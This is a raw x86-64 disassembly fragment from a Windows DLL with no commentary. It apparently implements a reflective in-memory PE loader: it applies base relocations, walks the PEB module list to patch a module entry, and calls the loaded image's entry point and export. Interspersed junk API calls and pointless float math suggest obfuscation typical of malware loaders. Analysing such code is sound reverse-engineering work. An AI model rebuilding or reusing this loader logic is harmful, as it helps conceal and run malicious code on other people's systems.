shr r8, 1
lea r9, [rbx + 8]
je 0x1800050be
mov r10d, 3
sub r8, r15
movzx ecx, word [r9]
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x18000507d
and rcx, r11
add qword [rcx + rdx], rdi
jmp 0x1800050ae
cmp ax, r10w
jne 0x18000508b
and rcx, r11
add dword [rcx + rdx], edi
jmp 0x1800050ae
cmp ax, r15w
jne 0x1800050a1
and rcx, r11
mov rax, rdi
shr rax, 0x10
add word [rcx + rdx], ax
jmp 0x1800050ae
cmp ax, r14w
jne 0x1800050ae
and rcx, r11
add word [rcx + rdx], di
add r9, r14
test r8, r8
jne 0x180005060
mov r10d, dword [rsp + 0x1f8]
cmp r13d, r10d
jle 0x1800050ce
mov eax, dword [rbx + 4]
add rbx, rax
jmp 0x18000515a
comiss xmm6, dword [0x180030e2c]
jb 0x1800050e1
movss xmm6, dword [0x180030f5c]
jmp 0x18000515a
call qword [sym.imp.KERNEL32.dll_GetThreadErrorMode]
movss xmm0, dword [0x180030f40]
call fcn.180003888
movaps xmm1, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
movsx rcx, al
movaps xmm2, xmm0
mulss xmm2, xmm0
cvttss2si rax, xmm2
imul rcx, rax
xorps xmm6, xmm6
cvtsi2ss xmm6, rcx
addss xmm6, xmm0
movss xmm1, dword [0x180030f7c]
comiss xmm9, xmm6
jb 0x18000514c
addss xmm1, xmm1
cvttss2si ecx, xmm1
lea eax, [rcx + rcx]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
mulss xmm6, xmm1
jmp 0x180005127
mov r11d, 0xfff
mov r10d, dword [rsp + 0x1f8]
mov eax, dword [rbx + 4]
test eax, eax
jne 0x180005045
mov r14, qword [rsp + 0x48]
mov ebx, r15d
mulsd xmm10, xmm11
addsd xmm10, xmm15
movaps xmm0, xmm10
call fcn.180003a00
mulsd xmm0, qword [0x180030cb8]
addsd xmm7, xmm0
add ebx, r15d
movd xmm10, ebx
cvtdq2pd xmm10, xmm10
comisd xmm8, xmm10
jae 0x18000516d
mov ebx, dword [r14 + 0x28]
add rbx, rsi
mov r14, qword [rsp + 0x1e0]
mov rcx, rsi
cmp byte [r14 + 8], r12b
jne 0x180005278
mov rdx, qword [r14 + 0x10]
call fcn.180003a58
mov rdi, rax
test rax, rax
je 0x180005280
cmp byte [r14 + 0x3c], r12b
je 0x18000520a
mov r8, qword [r14 + 0x40]
test r8, r8
je 0x18000520a
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
add rdx, 0x20
mov rcx, qword [rdx]
jmp 0x1800051ff
cmp qword [rcx + 0x20], r8
je 0x180005206
mov rcx, qword [rcx]
cmp rcx, rdx
jne 0x1800051f6
jmp 0x18000520a
mov qword [rcx + 0x20], rsi
xor r8d, r8d
mov edx, r15d
mov rcx, rsi
call rbx
mov r9d, dword [r14 + 0x38]
mov r8, qword [r14 + 0x30]
mov rdx, qword [r14 + 0x28]
mov rcx, qword [r14 + 0x20]
call rdi
cdqe
lea r11, [rsp + 0x1a0]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
xor r8d, r8d
mov edx, r15d
call rbx
xor ecx, ecx
movsd xmm0, qword [0x180030fa8]
comisd xmm7, xmm0
jb 0x1800052a7
subsd xmm7, xmm0
comisd xmm7, xmm0
jae 0x1800052a7
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm7
add rax, rcx
add rax, rbx
jmp 0x180005229
sub rbx, r15
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0xa8], rbx
jmp 0x180003d30
comiss xmm11, xmm6
jb 0x1800052e8
call qword [sym.imp.USER32.dll_CreateMenu]
movss xmm0, dword [0x180030d00]
call fcn.180002cb4
xorps xmm6, xmm6
movss xmm7, dword [0x180030f64]
comiss xmm8, xmm6
jb 0x18000530c
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
movaps xmm0, xmm7
divss xmm0, xmm7
movaps xmm7, xmm0
comiss xmm8, xmm0
jae 0x1800052f6
movsd xmm7, qword [0x180030d70]
movsd xmm6, qword [0x180030d18]
call qword [sym.imp.USER32.dll_GetShellWindow]
divsd xmm6, xmm7
cvttsd2si rbx, xmm6
cvtpd2ps xmm0, xmm7
call fcn.180002cb4
xorps xmm7, xmm7
cvtsi2sd xmm7, rax
xorps xmm6, xmm6
cvtsi2sd xmm6, rbx
movaps xmm0, xmm6
subsd xmm0, xmm7
cvtpd2ps xmm0, xmm0
ucomiss xmm0, dword [0x180030ed8]
jp 0x18000535a
je 0x18000531c
call qword [sym.imp.KERNEL32.dll_GetThreadErrorMode]
movss xmm0, dword [0x180030e20]
call fcn.180002cb4
movsx ecx, al
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
movsd xmm1, qword [0x180030ce8]
divsd xmm1, xmm0
cvtpd2ps xmm6, xmm1
mov cl, 0x38
jmp 0x18000539e
add cl, r15b
movsx rax, cl
add rax, r15
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
comiss xmm9, xmm6
ja 0x18000538c
mov esi, 0x30
comiss xmm10, xmm6
movsd xmm7, qword [0x180030e18]
mov rbx, qword [rsp + 0x78]
jb 0x180003d24
call qword [sym.imp.USER32.dll_EmptyClipboard]
xorps xmm0, xmm0
cvtsi2ss xmm0, esi
call fcn.180002cb4
mov rbx, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, ebx
call fcn.180003888
cvttss2si esi, xmm0
xorps xmm2, xmm2
cvtsi2sd xmm2, ebx
lea eax, [rbx + rbx]
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
divsd xmm2, xmm0
xorps xmm1, xmm1
cvtsi2sd xmm1, esi
addsd xmm2, xmm1
cvtpd2ps xmm6, xmm2
comiss xmm10, xmm6
jae 0x1800053c0
movsd xmm7, qword [0x180030e18]
mov rbx, qword [rsp + 0x78]
jmp 0x180003d24